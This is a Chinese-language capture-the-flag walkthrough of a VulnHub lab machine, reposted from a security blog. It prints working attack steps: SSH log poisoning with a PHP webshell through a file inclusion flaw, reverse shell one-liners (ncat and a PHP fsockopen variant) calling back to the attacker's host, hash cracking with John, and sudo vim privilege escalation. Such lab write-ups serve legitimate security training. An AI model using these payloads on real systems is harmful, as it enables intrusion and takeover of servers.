烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

admin 2022年12月21日14:26:52评论36 views字数 3992阅读13分18秒阅读模式

vulnhub-Basilic

个人评价难度:中等偏下

涉及手法:

  1. 污染 SSH日志 Getshell

  2. 本地文件包含漏洞(LFI)利用

  3. 密码破解

  4. vim提权

下载地址:https://www.vulnhub.com/entry/hogwarts-bellatrix,609/

IcMl0x824

靶机IP:192.168.31.212

信息收集

端口扫描-Kscan

    /#| /#/
  |#|/#/   _____ _____     *     _   _
  |#.#/   /Edge/ /Forum|   /#   |# |#
  |##|   |#|____ |#|     /kv2 |##|#|
  |#.#   r0cky|#|     /#/_# |#.#.#|
  |#|# /___|#||#|____/#/####|#|##|
  #| #\lcvvvv/ aels/#/ v1.85##| #/

[+]2022/12/19 14:32:11 当前环境为:windows, 输出编码为:utf-8
[+]2022/12/19 14:32:12 成功加载HTTP指纹:[24758]条
[+]2022/12/19 14:32:12 成功加载NMAP探针:[150]个,指纹[11916]条
[+]2022/12/19 14:32:13 Domain、IP、Port、URL、Hydra引擎已准备就绪
[+]2022/12/19 14:32:13 所有扫描任务已下发完毕
  • 22:ssh 服务 Ubuntu-Linux   SSH-2.0-OpenSSH_8.3p1

  • 80:http服务 Apache httpd/2.4.46

目录扫描-Phoenix+Dirsearch

Phoenix:

██████╗ ██╗  ██╗ ██████╗ ███████╗███╗   ██╗██╗██╗  ██╗
██╔══██╗██║ ██║██╔═══██╗██╔════╝████╗ ██║██║╚██╗██╔╝
██████╔╝███████║██║   ██║█████╗ ██╔██╗ ██║██║ ╚███╔╝
██╔═══╝ ██╔══██║██║   ██║██╔══╝ ██║╚██╗██║██║ ██╔██╗
██║     ██║ ██║╚██████╔╝███████╗██║ ╚████║██║██╔╝ ██╗
╚═╝     ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝

Dirsearch:

⚡ root@kali ~ dirsearch -u http://192.168.31.212                       

_|. _ _ _ _ _ _|_   v0.4.2
(_||| _) (/_(_|| (_| )
                                         
[01:43:00] 200 -   2KB - /index.php                                        
[01:43:01] 200 -   2KB - /index.php/login/                                

嘎了!

指纹识别-Inscan

  • 192.168.31.212:80  指纹识别:apache[2.4.46]/http/http_server[2.4.46]/ubuntu/ubuntu_linux

  • 192.168.31.212:22  指纹识别:linux_kernel/openssh[8.3p1]/ssh/ubuntu_linux

察言观色

访问HTTP服务,打开之后映入眼帘的是哈利波特里面的贝拉特里克斯

然后是满屏的“ikilledsiriusblack”

??????????????????????????????

没看过哈利波特,不是很了解

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

作为一个F12大黑客,先看下网页源码好了????

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

不…这次在源代码中没有任何线索……

哦,也许我已经告诉过你目录是。php?:)

根据这个幼稚动人而且毫无脑子的提示与LFI的类似代码,以及我们在是刷屏式的文字的右下方看到了一个.php。应该是ikilledsiriusblack.php这个页面存在本地文件包含漏洞(LFI),而且应该是通过file传递参数来包含文件的。

漏洞利用

本地文件包含漏洞

直接访问http://192.168.31.212/ikilledsiriusblack.php

可以看到还是这个页面,直接尝试去包含/etc/passwd文件验证漏洞是否存在

ikilledsiriusblack.php?file=/etc/passwd

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

污染 SSH日志Getshell

注意:

少年你是不是要止步于此了,细细一想SSH的作用,我们知道/var/log/auth.log这个是SSH的默认日志。

要知道这个auth.log文件是我们尝试连接服务器时为每次成功和失败的登录尝试生成日志。

那么我们就可以利用这个功能,发送恶意PHP代码将恶意代码作为新日志自动添加到auth.log文件中。

当我们在访问日志的时候就会去执行我们加的恶意代码。比如说是一段Webshell。

通过SSH以假用户身份发送恶意PHP代码,并将其作为新日志自动添加到auth.log文件中

举例:弄一个PHP info()进去

ssh '<?php phpinfo();?>'@192.168.31.212

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

利用LFI每次访问一下auth.log,他就会执行我们的命令一次。

?file=/var/log/auth.log

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

既然明白了,直接来写shell塞进去吧,别磨磨唧唧的

ssh '<?php system($_GET['shell']); ?>'@192.168.31.212

验证一句话木马是否成功写入

http://192.168.31.212/ikilledsiriusblack.php?file=/var/log/auth.log&shell=id

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

OK了家人们,开席!

还记得提示吗?他这个B提示里面是有ncat的,我们就不用构造语句了

nc -lvp 4444

利用 ncat 反弹 shell,

?file=/var/log/auth.log&shell=ncat -e /bin/bash 192.168.31.19 4444
python3 -c 'import pty;pty.spawn("/bin/bash")'

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

如果没有ncat,自己构造:

http://192.168.31.212/ikilledsiriusblack.php?file=/var/log/auth.log&shell=php -r '$sock=fsockopen("kali的IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

记得把shell后面的部分进行URL编码

权限提升

反弹回来的shell首先sudo命令肯定是不可能用

emmmm,老样子直接翻翻本地文件都有啥提示的

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

/var/www/html目录下有一个base64编码命名的文件夹,解码后是secret(秘密)?????

插进去看看水多不多~

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

两个文件打开看看

  • .secret.dic是一个字典

  • Swordofgryffindor文件内容为lestrange用户加密后的hash值

密码破解-John

把字典和Swordofgryffindor弄下来

用John破解密码(用.secret.dic去破解Swordofgryffindor)

john --wordlist=~/Desktop/pass.txt Swordofgryffindor

得到用户lestrange的密码ihateharrypotter

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

su命令切换用户,查看lestrange用户可以执行的sudo命令

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

这里(ALL:ALL) NOPASSWORD: /usr/bin/vim说明:

VIM可以免密用root权限使用vim命令

搜一下怎么用VIM提权

推荐命令记录网站:https://gtfobins.github.io/

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

SSH+VIM提权

用拿到的用户密码SSH登陆进行提权

如果sudo允许二进制文件以超级用户的身份运行,它不会放弃提升的权限,并且可能被用于访问文件系统,提升或保持特权访问。

  • sudo vim -c ':!/bin/sh'
  • 这要求vim编译时支持Python。在Python 3中追加:py3

    sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
  • 这要求vim编译时支持Lua

    sudo vim -c ':lua os.execute("reset; exec sh")'

解释下第一个命令:vim中叹号会直接从编辑器中执行我们写的命令/bin/sh,从而获取root权限

烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

到root目录下,拿下FLAG

 ____       _ _       _        _      
| _     | | |     | |     (_)    
| |_) | ___| | | __ _| |_ _ __ ___ __
| _ < / _ | |/ _` | __| '__| / /
| |_) | __/ | | (_| | |_| | | |> <
|____/ ___|_|_|__,_|__|_| |_/_/_

_               _                              
| |             | |                            
| |     ___ ___| |_ _ __ __ _ _ __   __ _ ___
| |   / _ / __| __| '__/ _` | '_ / _` |/ _
| |___| __/__ |_| | | (_| | | | | (_| | __/
|_________||___/__|_| __,_|_| |_|__, |___|
                                      __/ |    
                                    |___/

root{ead5a85a11ba466011fced308d460a76}

思考总结

感觉偏向于简单以及基础漏洞的理解,把脏数据插到SSH连接日志里进行getshell的确对于新手来说是难以理解的和联想的,不过多练练,既然SSH和HTTP都开放了,呢就必须有一定的联系。


原文始发于微信公众号(猫因的安全):烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月21日14:26:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   烧杯人生系列-[每日一靶机]:Basilic(一个涉及到通过污染SSH日志来Getshell的烧杯机器)https://cn-sec.com/archives/1474725.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息